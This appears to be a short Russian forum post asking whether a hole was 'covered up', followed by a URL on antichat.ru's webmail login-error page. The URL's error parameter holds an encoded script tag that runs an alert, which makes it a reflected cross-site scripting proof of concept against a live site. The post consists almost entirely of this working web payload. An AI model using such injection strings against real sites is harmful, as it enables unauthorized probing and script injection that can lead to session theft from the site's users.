Прикрыли? А это что?
http://antichat.ru/webmail/badlogin.php?tid=default&lid=ru&error=%3Cscript%3E alert(/xss/);%3C/script%3E